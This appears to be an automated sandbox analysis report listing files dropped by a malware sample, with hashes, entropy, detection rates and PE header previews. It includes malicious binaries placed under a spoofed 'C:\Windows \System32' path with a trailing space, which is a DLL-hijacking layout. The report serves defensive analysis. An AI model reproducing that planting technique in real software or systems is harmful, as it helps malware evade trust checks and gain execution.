SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1nvsbblj.n1o.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1wnln3hy.eqb.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a2mjpqoz.c1a.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ayq4jh11.jtv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_evkggpbn.155.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fkcxcff4.x04.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gdsn3mpz.oeh.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hkbjibna.xrm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_khqfxq1l.pke.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m0u35cbz.3xe.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nv54ky2r.rkc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oxngg5h4.wlp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_roxaabse.lav.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_shn0ip3e.bek.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uaiaa4ff.qv0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w2ecl2tc.xwv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xvjbsfty.whh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y14vctc1.ew1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\Desktop\pyld64.exe

Download File

Process:	C:\Users\user\Desktop\Ld0f3NDosJ.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	15180800
Entropy (8bit):	6.5564607842905644
Encrypted:	false
SSDEEP:	393216:4PsdXtBcda7nzo7Vd7Qv1CPwDvt3uFRCvfxlXnwXAaGueVW3XSdEVB3:4ITkS6
MD5:	43BCE45D873189F9AE2767D89A1C46E0
SHA1:	34BC871A24E54A83740E0DF51320B9836D8B820B
SHA-256:	9AE4784F0B139619CA8FDADFA31B53B1CBF7CD2B45F74B7E4004E5A97E842291
SHA-512:	F3424B65C72E242E77E5129903B4DC42FB94076402D24C9F2CEA07FF117761942ECEDEC43E0AD6E39EF61628ED0C4709BE7706E3C20537D476EDB57DF2521380
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 18% Antivirus: Virustotal, Detection: 65%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........l..?..?..?.,.>`..?.,.>..?.,.>..?.).>..?.).>..?.).>...?.,.>..?..?V..?.(.>..?.(z?..?.(.>..?Rich..?........PE..d...hC.f.........."....).............5.........@..........................................`.................................................dC..<................7......................8...............................@...............`............................text............................... ..`.rdata...n.......p..................@..@.data... /...P.......D..............@....pdata...7.......8...\..............@..@.fptable............................@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................

C:\Windows \System32\printui.dll

Download File

Process:	C:\Windows\System32\usvcinsta64.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14262784
Entropy (8bit):	6.551982111344916
Encrypted:	false
SSDEEP:	393216:BPsdXtBcda7nzo7Vd7Qv1CPwDvt3uFRCvfxlXnwXAaGueVW3XSdEVB3:BITkS6
MD5:	6CD5395F5675ABBF7644268F0023B0BD
SHA1:	F64379354EF7D7261D7C8250F98C515DDBDF577D
SHA-256:	397A1DD2D8DCDE26F5D22AE33AFBF6C6201920F8D27EE213B65896FE99944239
SHA-512:	5CBD0A6346638FEC900723CD0FECFBE6A7E8449175F297462EFFC92B4436737F4CC9C433F94A0F61F89DEC1F77EF56132CB750AFAE4E7AA57CA318DA3DDA9BDA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 62%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........B...#.X.#.X.#.X...Y`#.X...Y.#.X...Y.#.X..Y.#.X..Y.#.X..Y.#.X...Y.#.X.#.XZ#.X...Y.#.X..vX.#.X...Y.#.XRich.#.X................PE..d....B.f.........." ...). ..........(}....................................................`..................................................O..<................,......................8...........................P...@............0..H............................text............ .................. ..`.rdata......0...,...$..............@..@.data.......`.......P..............@....pdata...,...........f..............@..@.fptable............................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................

C:\Windows \System32\printui.exe

Download File

Process:	C:\Windows\System32\usvcinsta64.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	64000
Entropy (8bit):	6.336447440888565
Encrypted:	false
SSDEEP:	768:a4uHmXrH60qKdC5vI1iQfCIWVM9G4qW4ne+S/ly+PKAoXRZX6fbX57UWkCRPPA7f:Uca1KAVIPd4n+lbeRZIbSQPPA7f
MD5:	2FC3530F3E05667F8240FC77F7486E7E
SHA1:	C52CC219886F29E5076CED98D6483E28FC5CC3E0
SHA-256:	AC75AF591C08442EA453EB92F6344E930585D912894E9323DB922BCD9EDF4CD1
SHA-512:	EF78DE6A114885B55806323F09D8BC24609966D29A31C2A5AE6AD93D1F0D584D29418BA76CA2F235ED30AD8AE2C91F552C15487C559E0411E978D397C82F7046
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........y..........................................................................Rich....................PE..d...0.sA.........."............................@.............................@.......E....`.......... .......................................'.......P.......@...............0..$...P$..T............................ ..............(!...............................text............................... ..`.rdata....... ......................@..@.data...x....0....... ..............@....pdata.......@......."..............@..@.rsrc........P.......$..............@..@.reloc..$....0......................@..B........................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Windows\System32\console_zero.exe

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	477696
Entropy (8bit):	6.57837388441486
Encrypted:	false
SSDEEP:	6144:gxB2z8RCqsezXL7YiebX6u+bjq7TC78Vd29ZXph0lhSMXlBXBWnZLcN5hwcf:UIqt7M2bjqnC7m2Xph0lhSMXliZLcF
MD5:	74CF33F8C2FCB56F749AAF411B9AE302
SHA1:	934FC91EE0AB5D8879E26BD9A5F002EDCB474602
SHA-256:	941CB9145ACA265C4E209EF54C14E746696F198C48CE216A0F3FCDAB23DB877E
SHA-512:	37E36C2A9AAF2B1B6E993BCCDA77B34EFB9AAC8C2260B310BB071592A475298F7FAA2F4DAC38D3402517483F811F57F57B4B9335C41D4140968608248003C012
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 18%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<...x..x..x...E......E..j...E..~..h@..r..h@..i..h@.. ..m@..z...E..}..x.....0A..z..0AP.y..0A..y..Richx..........................PE..d...^B.f.........."....).......................@..........................................`.....................................................P............@...6...................z..8............................x..@...............p............................text...0........................... ..`.rdata..f5.......6..................@..@.data...40..........................@....pdata...6...@...8..................@..@.fptable.............:..............@....rsrc................<..............@..@.reloc...............>..............@..B........................................................................................................................................................................................

C:\Windows\System32\libcrypto-3-x64.dll

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4684800
Entropy (8bit):	6.761708409908653
Encrypted:	false
SSDEEP:	98304:E1+WtBcda7nzo7Vd8qQQPQ1CPwDvt3uFGCC:gXtBcda7nzo7Vd8qQQY1CPwDvt3uFGCC
MD5:	158F0E7C4529E3867E07545C6D1174A9
SHA1:	9FF0CCCB271F0215AD24427B7254832549565154
SHA-256:	DCC1FA1A341597DDB1476E3B5B3952456F07870A26FC30B0C6E6312764BAA1FC
SHA-512:	51E79D8D0AB183046F87AA659973B45147BB1E1AE8883F688C615CCB18BF9FCCB8779DD872B01748BACD56E141BC096C2BB4CCF32EBD7A49ADC76363355E40FE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............vI..vI..vI..I..vI;DwH..vI;DsH..vI;DrH..vI;DuH..vI..wI.vI..wH..vI..vI..vI.GrHl.vI.GvH..vI.G.I..vI.GtH..vIRich..vI........PE..d...d.Lf.........." ...'..4..........4.......................................G...........`...........................................A. ... @D.@....0G.......D.LH...........@G.L.....?.T.............................?.@.............4..............................text...8.4.......4................. ..`.rdata.......4.......4.............@..@.data....t...`D..J...JD.............@....pdata..LH....D..J....D.............@..@.rsrc........0G.......F.............@..@.reloc..L....@G.......F.............@..B................................................................................................................................................................................................................................................

C:\Windows\System32\libcurl.dll

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	561152
Entropy (8bit):	6.383490918799092
Encrypted:	false
SSDEEP:	12288:0u3rEnX6Gtd3+XZRnRNvNu86p07GZiDnwXA3qGueVW08G:d7EnX/L3+p7NvNu8OqnwXA3qGueVWG
MD5:	93F8F5133ED40262B9FD437915718B82
SHA1:	A18E34F2E1ECADA88249D5B6A87F137A2A1E5041
SHA-256:	78993F8E7AC2D139A8B7198F229D8EF1BA2000D7EB1B07FB7AA4FCCCF7786151
SHA-512:	E1F15B6CEE766D02823938B38BB580C7EFF94E0F4CD907AC4676A65BBC4A9632B5DB0CA54D7B8E6E14042510720E063C00C538DEA3DCBD56C94C65EEADCFCB26
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1i[.u.5Pu.5Pu.5P\|p.Pg.5P..4Qw.5P...P}.5P..6Qq.5P..1Q}.5P..0Qx.5Pe.4Qw.5Pu.4P..5P>p4Q~.5Pe.1Q..5Pe.5Qt.5Pe..Pt.5Pu..Pt.5Pe.7Qt.5PRichu.5P........PE..d....,Of.........." ...(.Z...<.......]....................................................`.........................................@.......H...T............`..(S..............X.......T..............................@............p...............................text...8X.......Z.................. ..`.rdata......p.......^..............@..@.data...(0... ...(..................@....pdata..(S...`...T...*..............@..@.rsrc................~..............@..@.reloc..X...........................@..B................................................................................................................................................................................................................................

C:\Windows\System32\libiconv-2.dll

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1851113
Entropy (8bit):	6.295735352298234
Encrypted:	false
SSDEEP:	24576:SAlxpPnBAUZLY9OVbbTiZGavkg3NyeuQ6l9fH+f2ykqZrkgecviRd7mQFz:DPnBAUZLY9OEZGaXBuQQ9e2YYUQFz
MD5:	158BC77453D382CF6679CE35DF740CC5
SHA1:	9A3C123CE4B6F6592ED50D6614387D059BFB842F
SHA-256:	CF131738F4B5FE3F42E9108E24595FC3E6573347D78E4E69EC42106C1EEBE42C
SHA-512:	6EB1455537CB4E62E9432032372FAE9CE824A48346E00BAF38EF2F840E0ED3F55ACAEE2656DA656DB00AE0BDEF808F8DA291DD10D7453815152EDA0CCFC73147
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...8.Jd....q.....& ..."............P..........f............................................. .................................................D....@..........d............P..................................(.......................p............................text..............................`.P`.data...............................@.P..rdata..............................@.`@.pdata..d...........................@.0@.xdata..............................@.0@.bss..................................`..edata..............................@.0@.idata..D...........................@.0..CRT....X.... ......................@.@..tls.........0......................@.@..rsrc........@......................@.0..reloc.......P......................@.0B/4...... ....`......................@..B/19.....m....p... ..................@..B/31......2.......4..................@..B/45.....

C:\Windows\System32\libintl-9.dll

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	475769
Entropy (8bit):	5.442192544327632
Encrypted:	false
SSDEEP:	12288:YoSRYqB/kDraXbQTNRC6RsclS8DzT6Bam:+YY/kDraLQTNRCPWDzT6Bam
MD5:	E79E7C9D547DDBEE5C8C1796BD092326
SHA1:	8E50B296F4630F6173FC77D07EEA36433E62178A
SHA-256:	1125AC8DC0C4F5C3ED4712E0D8AD29474099FCB55BB0E563A352CE9D03EF1D78
SHA-512:	DBA65731B7ADA0AC90B4122C7B633CD8D9A54B92B2241170C6F09828554A0BC1B0F3EDF6289B6141D3441AB11AF90D6F8210A73F01964276D050E57FB94248E2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......[.H........& .....D....................(h....................................0......... ......................................................@..8....................P..p........................... 0..(....................................................text...8C.......D..................`.P`.data........`.......J..............@.`..rdata..0M...p...N...L..............@.`@.pdata..............................@.0@.xdata..d...........................@.0@.bss....P.............................`..edata..............................@.0@.idata..............................@.0..CRT....X.... ......................@.@..tls....h....0......................@.`..rsrc...8....@......................@.0..reloc..p....P......................@.0B/4...........`......................@.PB/19..........p......................@..B/31.....1:.......<..................@..B/45.....

C:\Windows\System32\libpq.dll

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	327168
Entropy (8bit):	6.055910692008984
Encrypted:	false
SSDEEP:	6144:veJ/i9L1mle2NwGTQ46ZEEKN4zP2/SHzI4l/4OMx7apSPIYuh0L/iXmJ:gmV2NwQQ3G4zP22rOIy
MD5:	EF060E5C414B7BE5875437FF2FB8EC54
SHA1:	6DCF04DFF9B25BE556EC97660F95ACF708C0C870
SHA-256:	E6ACED8D30471F35B37ABBF172CE357B6A8F18AF5FEB342B6CFFC01D3378F2B4
SHA-512:	67BFF321BA901A0B0DC0F6C4A723D7DF35418F593E16E6193673CCE5190D76355409F676C1EA5D0CB46493F5735209089A3A52D3D716EB8187BF6E846792E2E8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.........t3R..`R..`R..`[..`D..`To.aP..`To.`T..`To.a_..`To.aZ..`To.aV..`...a^..`n..aU..`R..`K..`=o.ag..`=o.aS..`=o.`S..`R.`S..`=o.aS..`RichR..`........................PE..d.....:f.........." ...&.l...........e.......................................@............`...@...................................................... ..........,"...........0.......k..T...........................pj..@...............p............................text...xj.......l.................. ..`.rdata..vT.......V...p..............@..@.data...............................@....pdata..,".......$..................@..@.rsrc........ ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................

